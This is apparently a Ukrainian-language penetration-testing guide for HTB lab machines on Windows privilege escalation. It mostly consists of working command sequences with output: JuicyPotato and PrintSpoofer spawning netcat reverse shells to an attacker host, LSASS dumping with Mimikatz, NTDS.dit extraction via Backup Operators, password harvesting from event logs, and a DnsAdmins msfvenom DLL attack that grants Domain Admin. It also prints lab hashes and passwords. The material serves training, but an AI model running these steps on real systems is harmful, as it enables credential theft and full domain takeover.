```
    Directory: \\.\pipe

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------        1/1/1601   2:00 AM              0 InitShutdown
------        1/1/1601   2:00 AM              0 lsass
------        1/1/1601   2:00 AM              0 WindscribeService
------        1/1/1601   2:00 AM              0 msagent_81f3a0
------        1/1/1601   2:00 AM              0 mojo_3192_3480_123456789
```

▸ msagent_* / mojo_* = ймовірний Cobalt Strike C2; WindscribeService = перевірити дозволи

```
C:\htb> accesschk.exe /accepteula \\.\Pipe\lsass -v
```

```
Accesschk v6.14 - Reports effective permissions for securable objects

\\.\Pipe\lsass
  Untrusted Mandatory Level [No-Write-Up]
  RW NT AUTHORITY\ANONYMOUS LOGON
      FILE_READ_ATTRIBUTES
  RW BUILTIN\Administrators
      FILE_ALL_ACCESS
  R  Everyone
      FILE_READ_ATTRIBUTES
```

▸ Everyone має лише READ = нормально; FILE_ALL_ACCESS лише для Administrators = безпечно

```
C:\htb> accesschk.exe -w \pipe\* -v
```

```
Accesschk v6.14 - Reports effective permissions for securable objects

\pipe\WindscribeService
  Medium Mandatory Level [No-Write-Up]
  RW Everyone
      FILE_ALL_ACCESS
```

▸ RW Everyone + FILE_ALL_ACCESS → будь-який аутентифікований користувач може взаємодіяти з сервісом

```
C:\htb> accesschk.exe -accepteula -w \pipe\WindscribeService -v
```

```
\pipe\WindscribeService
  Medium Mandatory Level [No-Write-Up]
  RW Everyone
      FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
      FILE_ALL_ACCESS
  RW BUILTIN\Administrators
      FILE_ALL_ACCESS
```

▸ Everyone = FILE_ALL_ACCESS на WindscribeService → вектор PrivEsc до SYSTEM через token impersonation

⚠ **УВАГА:** Взаємодія з цим ріре потенційно фіксується у логах WindscribeService. Перевірити чи увімкнений аудит сервісу.

Розділ 05: Огляд привілеїв Windows

У Windows кожен процес має **токен доступу** — як перепустку з переліком прав. Деякі права дозволяють дуже небезпечні дії: налагодження чужих процесів, завантаження драйверів, перейняття файлів. Знання цих прав — ключ до вибору вектора атаки.

5.1 Ключові привілейовані групи

Група	Ризик	Вектор
Backup Operators	КРИТИЧНИЙ	SeBackupPrivilege → NTDS.dit
Server Operators	КРИТИЧНИЙ	Зміна бінарних шляхів сервісів
Print Operators	КРИТИЧНИЙ	SeLoadDriverPrivilege
DnsAdmins	КРИТИЧНИЙ	Завантаження DLL на DC
Hyper-V Administrators	КРИТИЧНИЙ	Доступ до VHD з NTDS.dit
Event Log Readers	СЕРЕДНІЙ	Паролі в логах (net use /user)
Account Operators	СЕРЕДНІЙ	Зміна не-захищених акаунтів
Remote Desktop Users	НИЗЬКИЙ	RDP lateral movement
Remote Management Users	НИЗЬКИЙ	WinRM / PSRemoting

5.2 Ключові привілеї та вектори

Привілей	Вектор атаки	Розділ
SeImpersonatePrivilege	JuicyPotato / PrintSpoofer → SYSTEM	6
SeAssignPrimaryTokenPrivilege	JuicyPotato → SYSTEM	6
SeDebugPrivilege	LSASS dump (Mimikatz) / RCE as SYSTEM	7
SeTakeOwnershipPrivilege	Читання будь-яких файлів (NTDS, SAM, web.config)	8
SeBackupPrivilege	Копіювання NTDS.dit / SAM без перевірки ACL	9.1
SeRestorePrivilege	Запис у довільні файли / реєстр	9.1
SeLoadDriverPrivilege	Завантаження вразливого драйвера (Capcom.sys)	9.5
SeSecurityPrivilege	Управління журналами аудиту	5
SeTcbPrivilege	Act as OS = отримання будь-якого токена	5

```
PS C:\htb> whoami /priv
```

PS

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalObjects         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

OUT

▸ SeImpersonatePrivilege Enabled = META; Disabled = призначений але потрібен elevated контекст

ℹ Disabled не означає недоступний. У контексті сервісного акаунта (IIS, MSSQL) SeImpersonate зазвичай Enabled автоматично.

Розділ 06: SeImpersonate та SeAssignPrimaryToken

Коли веб-сервер або SQL-сервер обробляє запит користувача, він може "перейняти" особистість цього користувача. SeImpersonatePrivilege дозволяє процесу використовувати токени інших користувачів. Potato-атаки обманюють SYSTEM-процес підключитись до нашого процесу і передати SYSTEM-токен нам.

6.1 Виявлення через MSSQL

```
kali@htb:~$ mssqlclient.py sql_dev@10.129.43.30 -windows-auth
```

SH

```
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WS01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WS01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
```

OUT

▸ [*] ACK: Result: 1 = підключення успішне; тепер enable xp_cmdshell

```
SQL> enable_xp_cmdshell
```

SH

```
[*] INFO(WS01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' chang
from 0 to 1.
[*] INFO(WS01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to
1.
```

OUT

▸ xp_cmdshell changed from 0 to 1 = OS команди тепер доступні

```
SQL> xp_cmdshell whoami
```

SH

```
output
------------------------------------------------------------------
nt service\mssql$sqlexpress

NULL
```

OUT

▸ nt service\mssql$ = сервісний акаунт; перевірити SeImpersonatePrivilege наступним кроком

```
SQL> xp_cmdshell whoami /priv
```

SH

```
output
------------------------------------------------------------------
PRIVILEGES INFORMATION

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalObjects         Create global objects                     Enabled

NULL
```

OUT

▸ SeImpersonatePrivilege = Enabled → JuicyPotato (Server 2016) або PrintSpoofer (Server 2019)

6.2 JuicyPotato (Windows Server 2016 та старіше / Windows 10 до 1809)

⚠ **УВАГА:** JuicyPotato НЕ працює на Windows Server 2019 та Windows 10 build 1809+. Для нових версій використовувати PrintSpoofer або RoguePotato.

```
SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c
c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *
```

SH

```
output
-----------------------------------------------------------------
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

NULL
```

OUT

▸ [+] authresult 0 + CreateProcessWithTokenW OK = SYSTEM shell на listener

ℹ Параметри: -l = порт COM сервера, -p = виконувана програма, -a = аргументи, -t * = спробувати обидва методи CreateProcessWithToken та CreateProcessAsUser.

```
kali@htb:~$ sudo nc -lnvp 8443
```

SH

```
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.129.43.30.
Ncat: Connection from 10.129.43.30:50892.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

OUT

▸ nt authority\system = підвищення привілеїв успішне

6.3 PrintSpoofer (Windows 10 1809+ та Server 2019)

```
SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"
```

SH

```
output
-----------------------------------------------------------------
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

NULL
```

OUT

▸ [+] Found privilege + CreateProcessAsUser() OK = перевірити listener

```
kali@htb:~$ nc -lnvp 8443
```

SH

```
Ncat: Connection from 10.129.43.30:51023.
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

OUT

▸ nt authority\system = PrintSpoofer успішний на Server 2019 / Win10 1809+

✓ **TIP:** PrintSpoofer тихіший за JuicyPotato — менше артефактів у логах. Перевага для операцій де важлива непомітність.

Розділ 07: SeDebugPrivilege

SeDebugPrivilege дозволяє "підключатись" до будь-якого процесу для його налагодження. Це майстер-ключ до всіх процесів у системі. Використовуємо для двох речей: дамп LSASS процесу для витягу паролів, або "впровадження" у SYSTEM процес для виконання команд.

7.1 Перевірка привілею

```
C:\htb> whoami /priv
```

CMD

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

OUT

▸ SeDebugPrivilege Disabled = є але неактивний; потрібен elevated shell (Run as Admin)

7.2 Дамп LSASS та витяг паролів

LSASS (Local Security Authority Subsystem Service) зберігає паролі та хеші всіх залогінених користувачів у пам'яті. Дамп цього процесу — золота жила.

```
C:\htb> procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

CMD

```
ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards

[16:46:50] Dump 1 initiated: C:\Tools\lsass.dmp
[16:46:51] Dump 1 writing: Estimated dump file size is 65 MB.
[16:46:52] Dump 1 complete: 65 MB written in 1.3 seconds
[16:46:52] Dump count reached.
```

OUT

▸ Dump 1 complete: XX MB written = файл lsass.dmp створено успішно

⚠ **УВАГА:** Дамп LSASS виявляється більшістю EDR рішень. Рекомендувати silent dump через Task Manager або comsvcs.dll для менш шумного варіанту.

ℹ Альтернатива через comsvcs.dll (без сторонніх інструментів): `rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> lsass.dmp full`

CMD
```
C:\htb> mimikatz.exe
```

OUT
```
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #
```

▸ mimikatz # prompt = інструмент запущено; надрукувати log для збереження output у файл

C
```
mimikatz # sekurlsa::minidump lsass.dmp
```

OUT
```
Switch to MINIDUMP : 'lsass.dmp'
```

▸ Switch to MINIDUMP = успішно; тепер читати credentials з дампу

C
```
mimikatz # sekurlsa::logonpasswords
```

```
Authentication Id : 0 ; 439685 (00000000:0006b5c5)
Session           : Interactive from 2
User Name         : Administrator
Domain            : WS01
Logon Server      : WS01
Logon Time        : 4/20/2026 8:12:15 AM
SID               : S-1-5-21-669053619-3190449917-3117070443-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : WS01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        wdigest :
         * Username : Administrator
         * Domain   : WS01
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : WS01
         * Password : (null)
```

OUT

▸ NTLM : cf3a5525ee9414229e66279623ed5c58 = хеш для Pass-the-Hash або офлайн злому

✓ **TIP:** NTLM хеш (32 hex символи після останнього двокрапки) — використовувати для Pt H через crackmapexec або psexec.py -hashes.

7.3 RCE як SYSTEM через батьківський процес

Альтернативний метод: запуск дочірнього процесу від імені SYSTEM-батьківського процесу, вк азавши його PID.

```
PS C:\htb> tasklist
```

PS

```
Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        196 K
winlogon.exe                   612 Console                    1      9,356 K
services.exe                   752 Services                   0      5,912 K
lsass.exe                      760 Services                   0     18,432 K
svchost.exe                    988 Services                   0     11,012 K
```

OUT

▸ winlogon.exe / lsass.exe / services.exe = завжди SYSTEM; запам'ятати PID цільового процесу

```
PS C:\htb> [MyProcess]::CreateProcessFromParent(612,"cmd.exe","")
```

PS

```
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

OUT

▸ PID 612 = winlogon.exe SYSTEM → дочірній cmd.exe успадковує SYSTEM токен

ℹ Репозиторій PoC: https://github.com/decoder-it/psgetsystem — три аргументи: PID батька, команда, порожній рядок.

Розділ 08: SeTakeOwnershipPrivilege

SeTakeOwnershipPrivilege — право захопити будь-який файл або об'єкт системи. Ставши власником, змінюємо дозволи і читаємо вміст. Корисно для читання захищених конфігів, паролів, баз KeePass.

8.1 Перевірка та активація привілею

```
PS C:\htb> whoami /priv
```

PS

```
Privilege Name                Description                               State
============================= ========================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
```

OUT

▸ SeTakeOwnershipPrivilege Disabled = є але потрібна активація скриптом

```
PS C:\htb> Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1
whoami /priv
```

PS

```
Privilege Name                Description                               State
============================= ========================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
```

OUT

▸ State = Enabled = привілей активований; тепер можна захоплювати файли

8.2 Захоплення файлу

```
PS C:\htb> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select F
lname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner
}}
```

PS

```
FullName      : C:\Department Shares\Private\IT\cred.txt
LastWriteTime : 6/18/2021 12:22:30 PM
Attributes    : Archive
Owner         :
```

OUT

▸ Owner = порожній = немає права на читання ACL → файл захищений; використовувати takeown

```
C:\htb> cmd /c dir /q 'C:\Department Shares\Private\IT'
```

CMD

```
 Volume in drive C has no label.
 Volume Serial Number is 0C92-C7B3

 Directory of C:\Department Shares\Private\IT

06/18/2021  12:22 PM
          WINLPE-WS01\Administrator .
06/18/2021  12:22 PM
          WINLPE-WS01\Administrator ..
06/18/2021  12:22 PM               98 WINLPE-WS01\Administrator cred.txt
```

OUT

▸ Власник = WINLPE-WS01\Administrator; ми не Administrator → takeown для захоплення

```
PS C:\htb> takeown /f 'C:\Department Shares\Private\IT\cred.txt'
```

PS

```
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt"
now owned by user "WINLPE-WS01\htb-student".
```

OUT

▸ SUCCESS + owned by htb-student = захоплення успішне; тепер видати собі доступ

```
PS C:\htb> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
```

PS

```
processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files
```

OUT

▸ Failed processing 0 = успіх; F = Full control; тепер читати файл

```
PS C:\htb> cat 'C:\Department Shares\Private\IT\cred.txt'
```

PS

```
NIX01 admin

root:n1X_p0wer_us3r!
```

OUT

▸ Credentials у відкритому вигляді = можна використати для lateral movement або ескалації

> ⚠ **УВАГА:** Зміна власника файлу є деструктивною дією. Документувати кожну зміну. Після завершення тесту відновити оригінальні права власника через icacls /setowner.

8.3 Цікаві цілі для атаки

Шлях	Що містить
`c:\inetpub\wwwroot\web.config`	Credentials для БД, connection strings
`%WINDIR%\repair\sam`	Хеші паролів локальних акаунтів
`%WINDIR%\repair\system`	System hive для розшифрування SAM
`%WINDIR%\repair\software`	Резервна копія software hive
`%WINDIR%\system32\config\SecEvent.Evt`	Security Event Log з подіями аудиту
`%WINDIR%\system32\config\default.sav`	Резервна копія default hive
`%WINDIR%\system32\config\security.sav`	Резервна копія security hive
`%WINDIR%\system32\config\software.sav`	Резервна копія software hive
`%WINDIR%\system32\config\system.sav`	Резервна копія system hive

> ✓ **TIP:** SAM + SYSTEM hive разом → офлайн витяг хешів через `secretsdump.py -sam SAM -system SYSTEM LOCAL`

Розділ 09: Вбудовані привілейовані групи Windows

Windows має вбудовані групи з небезпечними привілеями. Сисадміни часто додають акаунти до цих груп замість того щоб давати повний доступ адміністратора. Але ці групи самі по собі можуть дати SYSTEM або Domain Admin доступ.

```
C:\htb> whoami /groups
```

CMD

```
GROUP INFORMATION
-----------------
Group Name                             Type             Attributes
====================================== ================ ==============================
====================
BUILTIN\Backup Operators               Alias            Mandatory group, Enabled by de
fault, Enabled group
BUILTIN\Event Log Readers              Alias            Mandatory group, Enabled by de
fault, Enabled group
BUILTIN\Print Operators                Alias            Mandatory group, Enabled by de
fault, Enabled group
```

OUT

▸ Будь-яка з цих груп = потенційний шлях до SYSTEM або Domain Admin

9.1 Backup Operators

Backup Operators можуть читати будь-які файли на системі, навіть без явного дозволу. Використовуємо для копіювання бази паролів Active Directory (NTDS.dit) — файлу з хешами всіх паролів домену.

```
PS C:\htb> whoami /priv
Get-SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```

PS

```
SeBackupPrivilege is disabled

SeBackupPrivilege is enabled
```

OUT

▸ disabled → enabled = привілей активовано; whoami /priv має показати State = Enabled

```
PS C:\htb> Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

PS

```
[Немає виводу = бібліотеки успішно завантажені]
```

OUT

▸ Відсутність помилок = OK; якщо "cannot be loaded" → перевірити Set-ExecutionPolicy Bypass

```
PS C:\htb> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.t
xt
```

PS

```
Copied 89 bytes
```

OUT

▸ Copied XX bytes = файл скопійовано без ACL перевірки через SeBackupPrivilege

```
PS C:\htb> diskshadow.exe
```

PS

```
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  WS01,  4/20/2026 10:15:00 AM

DISKSHADOW>
```

OUT

▸ DISKSHADOW> prompt = дисковий менеджер готовий; вводити команди послідовно

```
DISKSHADOW> set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit
```

PS

```
[*] Setting verbose mode
[*] Metadata file set to: C:\Windows\Temp\meta.cab
[*] Context set to: clientaccessible
[*] Context set to: persistent
[*] Backup operation started
[*] Volume C: alias 'cdrive' added
[*] Shadow copy creation started...
[*] Shadow copy ID: {a1b2c3d4-e5f6-7890-abcd-ef1234567890}
[*] Shadow copy created
[*] Shadow copy exposed as drive E:
```

OUT

▸ Shadow copy exposed as drive E: = NTDS.dit на E: не заблокований системою; копіювати звідти

⏳ **ЧЕКАТИ:** Команда create може виконуватись 30–120 секунд залежно від розміру тому.

```
PS C:\htb> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```

PS

```
Copied 16777216 bytes
```

OUT

▸ Copied 16777216 bytes = NTDS.dit скопійований; це база даних AD з хешами ВСІХ паролів домену

```
C:\htb> reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```

CMD

```
The operation completed successfully.
The operation completed successfully.
```

OUT

▸ Обидва "completed successfully" = SYSTEM + SAM збережені; потрібні для розшифруванння NTDS

```
C:\htb> robocopy /B E:\Windows\NTDS .\ntds ntds.dit
```

CMD

```
------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
------------------------------------------------------------------------------

  Started : Sunday, April 20, 2026 10:22:31 AM
   Source : E:\Windows\NTDS\
     Dest : .\ntds\

  Files : ntds.dit

    New File          16.0 m    ntds.dit

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         1         0         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :  16.00 m  16.00 m         0         0         0         0
```

▸ 0 FAILED у підсумку = успіх; /B = backup mode, обходить ACL перевірки

```
PS C:\htb> Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=loca
l' -DBPath .\ntds.dit -BootKey $key
```

```
DistinguishedName: CN=Administrator,CN=Users,DC=inlanefreight,DC=local
Sid: S-1-5-21-669053619-3190449917-3117070443-500
Guid: d62dab38-2be4-4e37-b81d-5ac6ef7de26b
SamAccountName: Administrator
PrimaryGroupId: 513
NTHash: cf3a5525ee9414229e66279623ed5c58
LMHash:
NTHashHistory:
  Hash 01: cf3a5525ee9414229e66279623ed5c58
```

OUT

▸ NTHash: cf3a5525... = хеш Administrator для Pass-the-Hash або офлайн злому

```sh
kali@htb:~$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash
AL
```

SH

```
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Target system bootKey: 0x2b280a13c7b3ba73f5e7fa11be449091
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f8ab82f55b8a4ee9b5a71e19a67f6f35
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c5
8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
jordan_adm:1104:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a5
4:::
server_adm:1105:aad3b435b51404eeaad3b435b51404ee:5d1d4d8f1ae6ba3fbe4e1d96fea8eca
9:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5a489a0c45c8296e7e01f2d77ae71ed5:::
```

OUT

▸ username:RID:LM:NT — NT хеш після останнього : для Pass-the-Hash

✓ **TIP:** crackmapexec smb <DC_IP> -u Administrator -H cf3a5525ee9414229e66279623ed5c58 — перевірити PtH без злому.

9.2 Event Log Readers

Event Log Readers можуть читати журнали подій Windows. Якщо в організації увімкнено логування командного рядка (event ID 4688), паролі що передавались через net use /user або runas зберігаються прямо в логах у відкритому вигляді.

```
C:\htb> net localgroup "Event Log Readers"
```
CMD

```
Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members

-------------------------------------------------------------------------------
htb-student
The command completed successfully.
```
OUT

▸ htb-student у групі = маємо право читати Security event log

```
PS C:\htb> wevtutil qe Security /rd:true /f:text | Select-String "/user"
```
PS

```
  Process Command Line:  net use T: \\dc01\IT_Share /user:jordan_adm P@ssw0rd1
  Process Command Line:  net use Z: \\fs01\users /user:INLANEFREIGHT\mssql_svc Wel
come1
```
OUT

▸ рядки /user = credentials у відкритому вигляді; перевірити кожен акаунт

⚠ **УВАГА:** Читання Security log може залишити сліди у журналах аудиту (Event ID 46 63). Перевірити чи увімкнений об'єктний аудит перед дією.

```
C:\htb> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welc
| findstr "/user"
```
CMD

```
  Process Command Line:  net use Q: \\dc01\Finance /user:julie.clay Welcome1
```
OUT

▸ Пошук від імені іншого користувача (/r /u /p) = читання логів з remote host

```
PS C:\htb> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Prop
ies[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={
$_.Properties[8].Value }}
```
PS

```
CommandLine
-----------
net use T: \\dc01\IT_Share /user:jordan_adm P@ssw0rd123!
runas /user:INLANEFREIGHT\administrator cmd.exe
```

OUT

▸ Event ID 4688 + Properties[8] = CommandLine з /user та паролем у відкритому вигляді

9.3 DnsAdmins

DnsAdmins можуть конфігурувати DNS сервер Windows. Вони можуть завантажити кастомну DLL-бібліотеку в DNS сервіс. DNS сервіс запускається як NT AUTHORITY\SYSTEM. Тобто: завантажуємо нашу DLL → вона виконується як SYSTEM → додаємо себе в Domain Admins.

```
PS C:\htb> Get-ADGroupMember -Identity DnsAdmins
```

PS

```
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
SamAccountName    : netadm
SID               : S-1-5-21-669053619-3190449917-3117070443-1119
```

OUT

▸ netadm у DnsAdmins = завантаження DLL на DNS сервер → Domain Admin

```
kali@htb:~$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /domain' -f dll -o adduser.dll
```

SH

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 312 bytes
Final size of dll file: 9216 bytes
Saved as: adduser.dll
```

OUT

▸ Saved as: adduser.dll = DLL готова; при завантаженні DNS сервісом виконає net group

```sh
kali@htb:~$ python3 -m http.server 7777
```

```
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.30 - - [20/Apr/2026 10:35:12] "GET /adduser.dll HTTP/1.1" 200 -
```

▸ GET /adduser.dll 200 = DLL успішно завантажена цільовою машиною

```ps
PS C:\htb> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
```

```
[відсутній вивід = завантаження успішне]
```

▸ Відсутність помилок = файл adduser.dll у поточній директорії

```cmd
C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
```

```
DNS Server configuration property 'serverlevelplugindll' successfully reset.
Command completed successfully.
```

▸ successfully reset = DLL зареєстрована; ПОВНИЙ шлях обов'язковий

⚠ **УВАГА:** Якщо ERROR_ACCESS_DENIED = немає членства в DnsAdmins або не підключені до DC.

```cmd
C:\htb> wmic useraccount where name="netadm" get sid
```

```
SID
S-1-5-21-669053619-3190449917-3117070443-1119
```

▸ SID у форматі S-1-5-21-...-1119 = потрібен для перевірки RPWP у sc sdshow DNS

```
C:\htb> sc stop dns
```

CMD

```
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        WAIT_HINT          : 0x0
```

OUT

▸ STOP_PENDING → STOPPED = DNS сервіс зупинений; домен тимчасово не резолвить імена

⚠ **УВАГА:** Зупинка DNS на DC = мережевий вплив на весь домен. Виконувати у неробочий час або після узгодження з клієнтом.

```
C:\htb> sc start dns
```

CMD

```
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
```

OUT

▸ START_PENDING = DLL завантажується та виконується як SYSTEM; сервіс може "впасти" — це нормально

```
C:\htb> net group "Domain Admins" /dom
```

CMD

```
Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator                        netadm
The command completed successfully.
```

OUT

▸ netadm у Domain Admins = атака успішна; ми Domain Admin

Очищення після атаки DnsAdmins

```
C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Pa
ters /v ServerLevelPluginDll
```

CMD

```
The operation completed successfully.
```

OUT

▸ Successfully = ключ видалений; без цього DNS сервіс не запуститься нормально

⚠ **УВАГА:** БЕЗ видалення ServerLevelPluginDll — DNS сервіс буде завантажувати DLL при кожному старті та падати. Критично для відновлення після тесту.

```
C:\htb> sc.exe start dns
sc query dns
```

CMD

```
SERVICE_NAME: dns
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
```

OUT

▸ STATE = RUNNING + WIN32_EXIT_CODE = 0 = DNS повернувся до нормальної роботи

9.4 Hyper-V Administrators

Hyper-V Administrators мають повний доступ до всіх віртуальних машин. Якщо Domain Cont
roller є VM — можна клонувати його диск і офлайн витягти NTDS.dit без жодної авторизац
ії. Або використати баг з hard link для отримання SYSTEM доступу.

ℹ Основна техніка: при видаленні VM, vmms.exe (Hyper-V Manager) намагається відно
вити права на .vhdx файл від імені NT AUTHORITY\SYSTEM. Ми можемо видалити .vhdx
і створити hard link на захищений SYSTEM файл.

```
C:\htb> takeown /F "C:\Program Files (x86)\Mozilla Maintenance Service\mainten
service.exe"
```

CMD

```
SUCCESS: The file (or folder): "C:\Program Files (x86)\Mozilla Maintenance Serv
\maintenanceservice.exe"
now owned by user "WS01\htb-student".
```

OUT

▸ SUCCESS = файл захоплений; тепер замінити на payload та запустити MozillaMaintenance сервіс

```
C:\htb> sc.exe start MozillaMaintenance
```

CMD

```
SERVICE_NAME: MozillaMaintenance
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
```

OUT

▸ START_PENDING = наш payload запускається як SYSTEM через Mozilla Maintenance Service

⚠ **УВАГА:** Вектор виправлений патчами березня 2020. Також перевірити CVE-2018-0952 та CVE-2019-0841 для старіших систем без патчів.

9.5 Print Operators

Print Operators мають SeLoadDriverPrivilege — право завантажувати драйвери пристроїв у ядро Windows. Завантажуємо навмисно вразливий драйвер (Capcom.sys) який дозволяє виконати шелкод з SYSTEM привілеями.

```
C:\htb> whoami /priv
```

CMD

```
Privilege Name                Description                          State
============================= ===================================== ========
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
```

OUT

